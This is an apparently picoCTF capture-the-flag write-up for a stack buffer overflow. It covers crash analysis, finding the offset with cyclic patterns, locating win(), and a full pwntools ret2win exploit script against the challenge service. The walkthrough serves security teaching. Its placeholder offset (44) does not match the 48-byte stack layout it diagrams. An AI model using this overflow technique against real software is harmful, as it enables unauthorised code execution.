Description
Do you know enough to use a simple buffer overflow? Connect to the service and exploit a stack-based buffer overflow to call the win() function.
Setup
Download the binary for local analysis, then connect to the remote service to get the flag.
wget https://mercury.picoctf.net/static/.../vulnchmod +x vulnnc mercury.picoctf.net <PORT_FROM_INSTANCE>Solution
Walk me through it- Step 1Confirm the crash with strace, then jump into GDBRun the binary under strace with a long input to see exactly when it dies, then attach GDB to inspect register state at crash time.python
python3 -c "print('A'*200)" | strace -f ./vuln 2>&1 | tail -30bashgdb -q ./vulnbash# (gdb) run <<< $(python3 -c "print('A'*200)")bash# (gdb) info registers -- look at rip / rspLearn more
straceprints every syscall the process makes. A stack overflow that smashes the saved return address typically dies on the next instruction fetch with--- SIGSEGV (Segmentation fault) ---right after thereadorgetsthat took your input. Seeing that timeline up front confirms the bug class before you start measuring offsets. - Step 2Find the buffer overflow offsetUse pwntools' cyclic pattern to determine how many bytes are needed to reach the saved return address.python
python3 -c "from pwn import *; print(cyclic(200))" > pattern.txtbashgdb -q ./vuln -ex 'run < pattern.txt' -ex 'info registers' -ex 'quit'pythonpython3 -c "from pwn import *; print(cyclic_find(0x6161616b))" # Use the value found in $rsp/EIPLearn more
A stack buffer overflow occurs when a program copies more data into a stack-allocated buffer than the buffer can hold. The excess bytes overwrite adjacent stack memory, including the saved return address - the address the function will jump to when it returns. By controlling the return address, an attacker can redirect execution to any function in the binary.
Cyclic patterns (De Bruijn sequences) are non-repeating byte sequences where any N-byte subsequence appears exactly once. Feeding a cyclic pattern as input to a crashing program and reading the value in the instruction pointer (EIP/RIP) at crash time tells you exactly how many bytes were needed to reach the return address - the offset.
pwntools is the standard Python library for CTF binary exploitation.
cyclic(n)generates an n-byte De Bruijn pattern;cyclic_find(val)computes the offset from the pattern start to where the 4-byte value appears. For more on the cyclic-pattern offset workflow and a deeper buffer overflow walkthrough, see the buffer overflow guide and the pwntools guide. - Step 3Find the win() function addressUse objdump or pwntools ELF to find the address of the win() or flag-printing function in the binary.bash
objdump -d vuln | grep -A5 '<win>'pythonpython3 -c "from pwn import *; e=ELF('./vuln'); print(hex(e.sym['win']))"Learn more
In a ret2win (return to win) challenge, the binary contains a function that prints the flag but is never called under normal execution. The exploit simply overwrites the return address with the address of this function. When the vulnerable function returns, execution jumps to win() instead of the legitimate caller.
This works when ASLR (Address Space Layout Randomization) is disabled or when PIE (Position Independent Executable) is not enabled - meaning the binary loads at a fixed base address and function addresses are predictable. Use
checksec vuln(from pwntools) to see which mitigations are active. - Step 4Write and run the exploitUse pwntools to build and send the exploit payload: a padding buffer of the correct length followed by the win() address in little-endian format.python
python3 - <<'EOF' from pwn import * # context.arch = 'amd64' # or 'i386' e = ELF('./vuln') p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>) offset = 44 # Replace with actual offset from cyclic_find win_addr = e.sym['win'] payload = b'A' * offset + p64(win_addr) # p32() for 32-bit p.sendline(payload) p.interactive() EOFLearn more
Stack at the moment
vuln()is about toret:high addr +-------------------+ | saved rip | <- payload[offset:offset+8] -> win() +-------------------+ | saved rbp | <- payload[offset-8:offset] +-------------------+ | local var(s) | +-------------------+ | char buf[40] | <- payload[0:40] "AAAA...AAAA" low addr +-------------------+ rsp points here at gets()gets()writes from low to high address with no length check, so 48 bytes of A's fillbuf+ savedrbpand the next 8 bytes overwrite the saved return address.retpops that 8-byte value intoripand jumps to it.Endianness. x86-64 is little-endian. An address like
0x0000000000401196must hit memory as the byte string\x96\x11\x40\x00\x00\x00\x00\x00.p64()handles this; never type the bytes by hand or you will reverse them. For 32-bit,p32()emits 4 bytes.
Flag
picoCTF{...}
A classic ret2win: overwrite the return address with the win() function's address using a precisely sized overflow payload, redirecting execution without any code injection.